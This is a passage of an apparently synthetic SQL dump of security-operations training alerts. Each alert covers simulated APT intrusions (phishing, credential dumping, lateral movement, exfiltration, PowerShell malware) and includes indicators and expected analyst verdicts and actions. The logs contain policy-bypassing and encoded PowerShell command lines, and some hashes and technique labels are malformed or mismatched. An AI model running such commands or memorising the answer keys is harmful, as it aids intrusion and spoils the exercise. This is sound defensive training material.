detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:23Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\SilenceTask\\\",\\\"creator_user\\\":\\\"admin_user\\\",\\\"creator_ip\\\":\\\"192.168.1.15\\\",\\\"scheduled_time\\\":\\\"2023-10-05T14:00:00Z\\\",\\\"action\\\":\\\"CreateTask\\\",\\\"task_file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\SilenceTask.exe\\\",\\\"task_md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"creator_username\\\":\\\"admin_user\\\",\\\"attacker_ip\\\":\\\"203.0.113.50\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.812Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:23Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\SilenceTask\\\",\\\"creator_user\\\":\\\"admin_user\\\",\\\"creator_ip\\\":\\\"192.168.1.15\\\",\\\"scheduled_time\\\":\\\"2023-10-05T14:00:00Z\\\",\\\"action\\\":\\\"CreateTask\\\",\\\"task_file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\SilenceTask.exe\\\",\\\"task_md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"creator_username\\\":\\\"admin_user\\\",\\\"attacker_ip\\\":\\\"203.0.113.50\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.812Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:23Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\SilenceTask\\\",\\\"creator_user\\\":\\\"admin_user\\\",\\\"creator_ip\\\":\\\"192.168.1.15\\\",\\\"scheduled_time\\\":\\\"2023-10-05T14:00:00Z\\\",\\\"action\\\":\\\"CreateTask\\\",\\\"task_file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\SilenceTask.exe\\\",\\\"task_md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"creator_username\\\":\\\"admin_user\\\",\\\"attacker_ip\\\":\\\"203.0.113.50\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.812Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:23Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\SilenceTask\\\",\\\"creator_user\\\":\\\"admin_user\\\",\\\"creator_ip\\\":\\\"192.168.1.15\\\",\\\"scheduled_time\\\":\\\"2023-10-05T14:00:00Z\\\",\\\"action\\\":\\\"CreateTask\\\",\\\"task_file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\SilenceTask.exe\\\",\\\"task_md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"creator_username\\\":\\\"admin_user\\\",\\\"attacker_ip\\\":\\\"203.0.113.50\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.812Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:23Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\SilenceTask\\\",\\\"creator_user\\\":\\\"admin_user\\\",\\\"creator_ip\\\":\\\"192.168.1.15\\\",\\\"scheduled_time\\\":\\\"2023-10-05T14:00:00Z\\\",\\\"action\\\":\\\"CreateTask\\\",\\\"task_file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\SilenceTask.exe\\\",\\\"task_md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"creator_username\\\":\\\"admin_user\\\",\\\"attacker_ip\\\":\\\"203.0.113.50\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1102, 'Lateral Movement: Unauthorized Access to Internal Servers', 'high', 'Network Traffic Analysis', 'Exploiting harvested credentials, the attackers gained access to internal servers using lateral movement techniques. This positions them to manipulate ATM operations and extract financial data. The operation was detected via unusual login patterns and unauthorized access to critical systems.', 'Credential Dumping', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:48:00Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.5.25\",\"protocol\":\"RDP\",\"username\":\"j.doe@bank.com\",\"event_type\":\"login_attempt\",\"event_result\":\"success\",\"file_accessed\":\"ntds.dit\",\"hash\":\"8e5c6d3a5968e3e5f2a9f3ef3b2e9cd7\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"description\":\"Successful RDP login using harvested credentials to access critical server.\"}', '2026-01-28 00:08:15', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted for unauthorized access.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe@bank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal HR\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ntds.dit\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file targeted for credential dumping.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"8e5c6d3a5968e3e5f2a9f3ef3b2e9cd7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential dumping malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1103, 'Exfiltration: Data Transfer to External IP', 'critical', 'Data Loss Prevention', 'During the final phase of the operation, the Silence Group successfully exfiltrated sensitive data, including financial information, to an external server, critically compromising the bank\'s financial integrity.', 'Data Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-11T14:03:45Z\",\"source_ip\":\"10.4.21.67\",\"destination_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"protocol\":\"HTTPS\",\"file_name\":\"financial_report_q3_2023.zip\",\"file_hash\":\"5f9d5d5f5f5d5d5d5d5f5f5d5d5f5d5d5f5d5f5d\",\"data_size\":\"1.5GB\",\"action\":\"ALLOW\",\"tags\":[\"exfiltration\",\"financial_data\",\"Silence Group\"]}', '2026-01-28 00:08:15', '2026-02-16 17:48:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server used by Silence Group\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.4.21.67\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"financial_report_q3_2023.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Protection\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data file suspected in exfiltration\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f9d5d5f5f5d5d5d5d5f5f5d5d5f5d5d5f5d5f5d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used in exfiltration\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:03:45Z\\\",\\\"source_ip\\\":\\\"10.4.21.67\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.zip\\\",\\\"file_hash\\\":\\\"5f9d5d5f5f5d5d5d5d5f5f5d5d5f5d5d5f5d5f5d\\\",\\\"data_size\\\":\\\"1.5GB\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"tags\\\":[\\\"exfiltration\\\",\\\"financial_data\\\",\\\"Silence Group\\\"]}\"},{\"timestamp\":\"2026-02-01T20:31:22.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:03:45Z\\\",\\\"source_ip\\\":\\\"10.4.21.67\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.zip\\\",\\\"file_hash\\\":\\\"5f9d5d5f5f5d5d5d5d5f5f5d5d5f5d5d5f5d5f5d\\\",\\\"data_size\\\":\\\"1.5GB\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"tags\\\":[\\\"exfiltration\\\",\\\"financial_data\\\",\\\"Silence Group\\\"]}\"},{\"timestamp\":\"2026-02-01T20:30:22.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:03:45Z\\\",\\\"source_ip\\\":\\\"10.4.21.67\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.zip\\\",\\\"file_hash\\\":\\\"5f9d5d5f5f5d5d5d5d5f5f5d5d5f5d5d5f5d5f5d\\\",\\\"data_size\\\":\\\"1.5GB\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"tags\\\":[\\\"exfiltration\\\",\\\"financial_data\\\",\\\"Silence Group\\\"]}\"},{\"timestamp\":\"2026-02-01T20:29:22.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:03:45Z\\\",\\\"source_ip\\\":\\\"10.4.21.67\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.zip\\\",\\\"file_hash\\\":\\\"5f9d5d5f5f5d5d5d5d5f5f5d5d5f5d5d5f5d5f5d\\\",\\\"data_size\\\":\\\"1.5GB\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"tags\\\":[\\\"exfiltration\\\",\\\"financial_data\\\",\\\"Silence Group\\\"]}\"},{\"timestamp\":\"2026-02-01T20:28:22.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:03:45Z\\\",\\\"source_ip\\\":\\\"10.4.21.67\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.zip\\\",\\\"file_hash\\\":\\\"5f9d5d5f5f5d5d5d5d5f5f5d5d5f5d5d5f5d5f5d\\\",\\\"data_size\\\":\\\"1.5GB\\\",\\\"action\\\":\\\"ALLOW\\\",\\\"tags\\\":[\\\"exfiltration\\\",\\\"financial_data\\\",\\\"Silence Group\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1104, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway Logs', 'A phishing email was detected targeting aerospace engineers. The email contained a malicious link disguised as a project update, aiming to gain initial access to the target systems.', 'Initial Access', 'T1566.001 - Spear Phishing Attachment', 1, 'Closed', 116, '{\"timestamp\":\"2023-10-05T13:45:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.23\",\"email_subject\":\"Project Update: New Aerospace Design\",\"email_from\":\"j.doe@projectsupport.com\",\"email_to\":\"engineer123@aerospacecorp.com\",\"attachment\":\"Aerospace_Project_Update.docx\",\"malicious_url\":\"http://malicious-link.com/update\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\"}', '2026-01-28 00:08:43', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target user.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"j.doe@projectsupport.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Sender email does not match known domains.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-link.com/update\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Threat Database\",\"verdict\":\"malicious\",\"details\":\"URL linked to exploit kits.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-02-01T20:32:22.816Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1105, 'Magic Hound Malware Execution', 'high', 'Endpoint Detection and Response (EDR)', 'The Magic Hound malware was executed on the compromised system after the target clicked a malicious link. The malware established a foothold within the organization\'s network, potentially allowing for further malicious activities.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', 116, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"4624\",\"computer_name\":\"compromised-host.local\",\"user_name\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\magic_hound_payload.ps1\",\"file_hash\":\"2f8e92b7c8c7b7e3aa8c3e5d7e9e4a2f\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.5\",\"files_dropped\":[{\"filename\":\"magic_hound_payload.ps1\",\"location\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\\",\"hash\":\"2f8e92b7c8c7b7e3aa8c3e5d7e9e4a2f\"}]}', '2026-01-28 00:08:43', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address range\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Magic Hound activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"2f8e92b7c8c7b7e3aa8c3e5d7e9e4a2f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Magic Hound payload\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"magic_hound_payload.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used by Magic Hound\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Employee account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1106, 'Persistence Using Cloud Services', 'high', 'Cloud Access Security Broker (CASB)', 'APT35 is leveraging legitimate cloud services to establish command and control channels, maintaining persistent access to compromised systems. The operation involves using a cloud storage service to host malicious scripts that are periodically executed by the compromised host.', 'Persistence', 'T1136 - Create Account', 1, 'new', NULL, '{\"event_id\":\"CASB-2023-10-03-123456\",\"timestamp\":\"2023-10-03T14:23:45Z\",\"source_ip\":\"203.0.113.56\",\"internal_ip\":\"10.10.10.25\",\"username\":\"compromised_user\",\"file_sha256\":\"d2d2f5e8b6d8c3c4e5f5f6a7a8a9b0b1c2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7\",\"filename\":\"malicious_script.js\",\"cloud_service\":\"cloudstorage.example.com\",\"action\":\"File Upload\",\"description\":\"Malicious script uploaded to cloud storage, used for maintaining persistent access.\"}', '2026-01-28 00:08:43', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known APT35 command and control IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.10.10.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account showing unusual activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d2d2f5e8b6d8c3c4e5f5f6a7a8a9b0b1c2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT35 malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_script.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File contains scripts used for maintaining persistent access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"CASB-2023-10-03-123456\\\",\\\"timestamp\\\":\\\"2023-10-03T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.56\\\",\\\"internal_ip\\\":\\\"10.10.10.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file_sha256\\\":\\\"d2d2f5e8b6d8c3c4e5f5f6a7a8a9b0b1c2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7\\\",\\\"filename\\\":\\\"malicious_script.js\\\",\\\"cloud_service\\\":\\\"cloudstorage.example.com\\\",\\\"action\\\":\\\"File Upload\\\",\\\"description\\\":\\\"Malicious script uploaded to cloud storage, used for maintaining persistent access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"CASB-2023-10-03-123456\\\",\\\"timestamp\\\":\\\"2023-10-03T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.56\\\",\\\"internal_ip\\\":\\\"10.10.10.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file_sha256\\\":\\\"d2d2f5e8b6d8c3c4e5f5f6a7a8a9b0b1c2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7\\\",\\\"filename\\\":\\\"malicious_script.js\\\",\\\"cloud_service\\\":\\\"cloudstorage.example.com\\\",\\\"action\\\":\\\"File Upload\\\",\\\"description\\\":\\\"Malicious script uploaded to cloud storage, used for maintaining persistent access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"CASB-2023-10-03-123456\\\",\\\"timestamp\\\":\\\"2023-10-03T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.56\\\",\\\"internal_ip\\\":\\\"10.10.10.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file_sha256\\\":\\\"d2d2f5e8b6d8c3c4e5f5f6a7a8a9b0b1c2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7\\\",\\\"filename\\\":\\\"malicious_script.js\\\",\\\"cloud_service\\\":\\\"cloudstorage.example.com\\\",\\\"action\\\":\\\"File Upload\\\",\\\"description\\\":\\\"Malicious script uploaded to cloud storage, used for maintaining persistent access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"CASB-2023-10-03-123456\\\",\\\"timestamp\\\":\\\"2023-10-03T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.56\\\",\\\"internal_ip\\\":\\\"10.10.10.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file_sha256\\\":\\\"d2d2f5e8b6d8c3c4e5f5f6a7a8a9b0b1c2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7\\\",\\\"filename\\\":\\\"malicious_script.js\\\",\\\"cloud_service\\\":\\\"cloudstorage.example.com\\\",\\\"action\\\":\\\"File Upload\\\",\\\"description\\\":\\\"Malicious script uploaded to cloud storage, used for maintaining persistent access.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"CASB-2023-10-03-123456\\\",\\\"timestamp\\\":\\\"2023-10-03T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.56\\\",\\\"internal_ip\\\":\\\"10.10.10.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file_sha256\\\":\\\"d2d2f5e8b6d8c3c4e5f5f6a7a8a9b0b1c2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7\\\",\\\"filename\\\":\\\"malicious_script.js\\\",\\\"cloud_service\\\":\\\"cloudstorage.example.com\\\",\\\"action\\\":\\\"File Upload\\\",\\\"description\\\":\\\"Malicious script uploaded to cloud storage, used for maintaining persistent access.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1107, 'Unauthorized Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'The attackers exploited stolen credentials to move laterally within the network, targeting critical systems within the telecommunications infrastructure. This activity indicates a sophisticated actor with a detailed understanding of the network topology.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-09-14T15:23:45Z\",\"source_ip\":\"192.168.1.23\",\"destination_ip\":\"192.168.2.45\",\"external_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"event\":\"Lateral Movement\",\"protocol\":\"SMB\",\"file_hash\":\"f2c7e3c9d5b6a8e1f8e4d2b3a9c1f7e8\",\"filename\":\"important_document.docx\",\"action\":\"login_success\",\"description\":\"Successful login from 192.168.1.23 to 192.168.2.45 using stolen credentials.\"}', '2026-01-28 00:08:43', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in lateral 